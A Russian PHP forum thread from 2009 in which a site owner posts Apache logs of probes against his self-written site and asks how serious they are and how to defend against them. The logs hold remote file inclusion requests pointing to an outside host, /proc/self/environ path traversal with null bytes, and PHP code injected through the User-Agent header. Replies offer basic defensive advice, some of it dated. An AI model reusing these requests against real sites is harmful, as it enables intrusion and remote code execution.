Модераторы: skyboy, MoLeX, Aliance, ksnk
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> какую дырку пытаются использовать 
:(
    Опции темы
tcg2
Дата 26.5.2009, 10:23 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 125
Регистрация: 26.9.2006

Репутация: нет
Всего: нет
Обнаружил сомнительные строки в логах apach'a, но честно говоря с механизмов ч/з php взлома слабо знаком, поэтому решил поспрашивать насколько ето сериозно и как защитится [OC CentOS 5.3 apache 2.2.3 php 5.1.6] ?

Код

/var/log/httpd/access_log.3:62.149.163.198 - - [23/May/2009:09:29:46 +0400] "GET /manual/mod//includes/messages.inc.php?include_path=http://www.longbeachphotosbc.ca/buggsbunny?? HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b"
/var/log/httpd/access_log.3:62.149.163.198 - - [23/May/2009:09:29:46 +0400] "GET //includes/messages.inc.php?include_path=http://www.longbeachphotosbc.ca/buggsbunny?? HTTP/1.1" 404 304 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b"
/var/log/httpd/access_log.3:62.149.163.198 - - [23/May/2009:09:29:46 +0400] "GET /manual//includes/messages.inc.php?include_path=http://www.longbeachphotosbc.ca/buggsbunny?? HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b"
/var/log/httpd/access_log.3:62.149.163.198 - - [23/May/2009:09:29:46 +0400] "GET /manual/mod//includes/messages.inc.php?include_path=../../../../../../.. /../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 404 316 "-" "XXX<? echo \"w0000t\"; ?>XXX"
/var/log/httpd/access_log.3:62.149.163.198 - - [23/May/2009:09:29:46 +0400] "GET /manual//includes/messages.inc.php?include_path=../../../../../../../../ ../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 404 312 "-" "XXX<? echo \"w0000t\"; ?>XXX"
/var/log/httpd/access_log.3:62.149.163.198 - - [23/May/2009:09:29:46 +0400] "GET //includes/messages.inc.php?include_path=../../../../../../../../../../. ./../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 404 304 "-" "XXX<? echo \"w0000t\"; ?>XXX"
/var/log/httpd/access_log.3:62.149.163.198 - - [23/May/2009:09:29:47 +0400] "GET /manual/mod//includes/messages.inc.php?include_path=../../../../../../.. /../../../../../../../../../../../../../../../../../proc/self/environ%00  HTTP/1.1" 404 316 "-" "XXX<? echo \"w0000t\"; ?>XXX"
/var/log/httpd/access_log.3:62.149.163.198 - - [23/May/2009:09:29:47 +0400] "GET //includes/messages.inc.php?include_path=../../../../../../../../../../. ./../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 404 304 "-" "XXX<? echo \"w0000t\"; ?>XXX"
/var/log/httpd/access_log.3:62.149.163.198 - - [23/May/2009:09:29:47 +0400] "GET /manual//includes/messages.inc.php?include_path=../../../../../../../../ ../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 404 312 "-" "XXX<? echo \"w0000t\"; ?>XXX"
 
/var/log/httpd/access_log.3:79.165.160.223 - - [23/May/2009:23:44:10 +0400] "GET /engine/modules/antibot.php HTTP/1.1" 404 300 "-" "-"
 
/var/log/httpd/access_log.3:62.149.163.198 - - [23/May/2009:09:29:46 +0400] "GET /manual/mod/errors.php?error=http://www.longbeachphotosbc.ca/buggsbunny?? HTTP/1.1" 404 300 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6"
/var/log/httpd/access_log.3:62.149.163.198 - - [23/May/2009:09:29:46 +0400] "GET /manual/errors.php?error=http://www.longbeachphotosbc.ca/buggsbunny?? HTTP/1.1" 404 296 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6"
/var/log/httpd/access_log.3:62.149.163.198 - - [23/May/2009:09:29:46 +0400] "GET /errors.php?error=http://www.longbeachphotosbc.ca/buggsbunny?? HTTP/1.1" 404 289 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6"
/var/log/httpd/access_log.5:218.1.64.133 - - [21/May/2009:14:20:24 +0400] "GET /manual/en/mod/errors.php?error=http://www.longbeachphotosbc.ca/buggsbunny?? HTTP/1.1" 404 299 "-" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6"
/var/log/httpd/access_log.5:218.1.64.133 - - [21/May/2009:14:20:27 +0400] "GET /errors.php?error=http://www.longbeachphotosbc.ca/buggsbunny?? HTTP/1.1" 404 285 "-" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6"
/var/log/httpd/access_log.5:218.1.64.133 - - [21/May/2009:14:20:28 +0400] "GET /manual/en/errors.php?error=http://www.longbeachphotosbc.ca/buggsbunny?? HTTP/1.1" 404 295 "-" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6"
 
/var/log/httpd/access_log.3:62.149.163.198 - - [23/May/2009:09:29:46 +0400] "GET /manual//includes/messages.inc.php?include_path=http://www.longbeachphotosbc.ca/buggsbunny?? HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b"
/var/log/httpd/access_log.3:62.149.163.198 - - [23/May/2009:09:29:46 +0400] "GET /manual//includes/messages.inc.php?include_path=../../../../../../../../ ../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 404 312 "-" "XXX<? echo \"w0000t\"; ?>XXX"
/var/log/httpd/access_log.3:62.149.163.198 - - [23/May/2009:09:29:47 +0400] "GET /manual//includes/messages.inc.php?include_path=../../../../../../../../ ../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 404 312 "-" "XXX<? echo \"w0000t\"; ?>XXX"
 
/var/log/httpd/access_log.3:62.149.163.198 - - [23/May/2009:09:29:46 +0400] "GET /manual/errors.php?error=http://www.longbeachphotosbc.ca/buggsbunny?? HTTP/1.1" 404 296 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6"
 
/var/log/httpd/access_log.3:62.149.163.198 - - [23/May/2009:09:29:46 +0400] "GET /manual/mod//includes/messages.inc.php?include_path=http://www.longbeachphotosbc.ca/buggsbunny?? HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b"
/var/log/httpd/access_log.3:62.149.163.198 - - [23/May/2009:09:29:46 +0400] "GET /manual/mod//includes/messages.inc.php?include_path=../../../../../../.. /../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 404 316 "-" "XXX<? echo \"w0000t\"; ?>XXX"
/var/log/httpd/access_log.3:62.149.163.198 - - [23/May/2009:09:29:47 +0400] "GET /manual/mod//includes/messages.inc.php?include_path=../../../../../../.. /../../../../../../../../../../../../../../../../../proc/self/environ%00  HTTP/1.1" 404 316 "-" "XXX<? echo \"w0000t\"; ?>XXX"


Это сообщение отредактировал(а) tcg2 - 26.5.2009, 10:26
PM MAIL ICQ   Вверх
MoLeX
Дата 26.5.2009, 10:41 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Местный пингвин
****


Профиль
Группа: Модератор
Сообщений: 4076
Регистрация: 17.5.2007

Репутация: 46
Всего: 140
движок самописный или публичный?


--------------------
Amazing  smile 
PM MAIL WWW ICQ   Вверх
tcg2
Дата 26.5.2009, 11:00 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 125
Регистрация: 26.9.2006

Репутация: нет
Всего: нет
самописный
PM MAIL ICQ   Вверх
MoLeX
Дата 26.5.2009, 11:39 (ссылка) | (голосов:2) Загрузка ... Загрузка ... Быстрая цитата Цитата


Местный пингвин
****


Профиль
Группа: Модератор
Сообщений: 4076
Регистрация: 17.5.2007

Репутация: 46
Всего: 140
можно сделать хотя бы так

index.php
Код

<?php
define('KEY', 'true');
?>



/manual/mod/includes/messages.inc.php
Код

<?php if(!defined('KEY')) {exit();}

/**/

?>


проверять что пришло от юзера и т.д.

Добавлено через 1 минуту и 51 секунду
использовать ф-цию mysql_escape_string() в работе с СУБД


--------------------
Amazing  smile 
PM MAIL WWW ICQ   Вверх
gta4kv
Дата 26.5.2009, 12:02 (ссылка) | (голосов:4) Загрузка ... Загрузка ... Быстрая цитата Цитата


Walking around mad.
***


Профиль
Группа: Завсегдатай
Сообщений: 1868
Регистрация: 25.7.2006

Репутация: 21
Всего: 91
MoLeX, вот чё ты бред пишешь. О другом спрашивают.


tcg2, пытаются подключить файл. (т.е проверяют считай что ты инклюдишь путь прям из переменной или как)
PM MAIL   Вверх
MoLeX
Дата 26.5.2009, 12:11 (ссылка) | (голосов:3) Загрузка ... Загрузка ... Быстрая цитата Цитата


Местный пингвин
****


Профиль
Группа: Модератор
Сообщений: 4076
Регистрация: 17.5.2007

Репутация: 46
Всего: 140
Цитата(tcg2 @  26.5.2009,  10:23 Найти цитируемый пост)
как защитится


Цитата(gta4kv @  26.5.2009,  12:02 Найти цитируемый пост)
MoLeX, вот чё ты бред пишешь. О другом спрашивают.

 smile 


--------------------
Amazing  smile 
PM MAIL WWW ICQ   Вверх
gta4kv
Дата 26.5.2009, 12:58 (ссылка) | (голосов:2) Загрузка ... Загрузка ... Быстрая цитата Цитата


Walking around mad.
***


Профиль
Группа: Завсегдатай
Сообщений: 1868
Регистрация: 25.7.2006

Репутация: 21
Всего: 91
тьфу ты блин, опять я посты не полностью читаю
PM MAIL   Вверх
MoLeX
Дата 26.5.2009, 12:59 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Местный пингвин
****


Профиль
Группа: Модератор
Сообщений: 4076
Регистрация: 17.5.2007

Репутация: 46
Всего: 140
gta4kv, вот то-то...


--------------------
Amazing  smile 
PM MAIL WWW ICQ   Вверх
tcg2
Дата 26.5.2009, 13:15 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 125
Регистрация: 26.9.2006

Репутация: нет
Всего: нет
Хорошо спасибо за рекомендации!!..А если движок не самописный, в чем же разница?
PM MAIL ICQ   Вверх
MoLeX
Дата 26.5.2009, 13:20 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Местный пингвин
****


Профиль
Группа: Модератор
Сообщений: 4076
Регистрация: 17.5.2007

Репутация: 46
Всего: 140
Цитата(tcg2 @  26.5.2009,  13:15 Найти цитируемый пост)
А если движок не самописный, в чем же разница?

если публичный то скорей всего для него есть патчи которые надо установить))) вот и все...


--------------------
Amazing  smile 
PM MAIL WWW ICQ   Вверх
SoWa
Дата 26.5.2009, 13:21 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Харекришна
****


Профиль
Группа: Комодератор
Сообщений: 2422
Регистрация: 18.10.2004

Репутация: 6
Всего: 74
В не-самописных движках защита от такой ерунды есть. Молекс написал тебе рекомендацию, как защитить твое творение от подобных действий над твоим детищем.


--------------------
Всем добра smile
PM MAIL ICQ   Вверх
bars80080
Дата 26.5.2009, 14:06 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


прапор творюет
****
Награды: 1



Профиль
Группа: Завсегдатай
Сообщений: 12022
Регистрация: 5.12.2007
Где: Königsberg

Репутация: 71
Всего: 315
Цитата(SoWa @  26.5.2009,  13:21 Найти цитируемый пост)
Молекс написал тебе рекомендацию, как защитить твое творение от подобных действий над твоим детищем. 

я вообще, насколько понимаю, пытаются подключить некие другие файлы. непосредственно базовые файлы всего сервера

или допустим, что-то загруженное на сервер. 
tcg2, у тебя есть модуль загрузки на сервер чего-то? к примеру, фоток в галлерею?

как же решение Молекса поспособствует защите от подключения загруженных файлов?
PM MAIL WWW   Вверх
youri
Дата 26.5.2009, 14:29 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 740
Регистрация: 17.4.2004

Репутация: 6
Всего: 16
может проверяют, установлен ли у тебя phpauction, чтобы воспользоваться какой-нибудь его уязвимостью... в нем есть includes/messages.inc.php smile
хотя утверждать, конечно, ничего не могу


--------------------
С кем разговаривает Microsoft
PM   Вверх
  
 Ответ в темуСоздание новой темы Создание опроса
Правила форума "PHP"
Aliance
IZ@TOP
skyboy
SamDark
MoLeX

Новичкам:

  • PHP редакторы собираются и обсуждаются здесь
  • Электронные книги по PHP, документацию можно найти здесь
  • Интерпретатор PHP, полную документацию можно скачать на PHP.NET

Важно:

  • Не брезгуйте пользоваться тегами [code=php]КОД[/code] для повышения читабельности текста/кода.
  • Перед созданием новой темы воспользуйтесь поиском и загляните в FAQ
  • Действия модераторов можно обсудить здесь

Внимание:

  • Темы "ищу скрипт", "подскажите скрипт" и т.п. будут переноситься в форум "Web-технологии"
  • Темы с именами: "Срочно", "помогите", "не знаю как делать" будут УДАЛЯТЬСЯ

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, IZ@TOP, skyboy, SamDark, MoLeX, awers.
 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | PHP: Общие вопросы | Следующая тема »

Подписаться на тему | Подписка на этот форум | Скачать/Распечатать тему


 




[ Время генерации скрипта: 0.0755 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
 По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.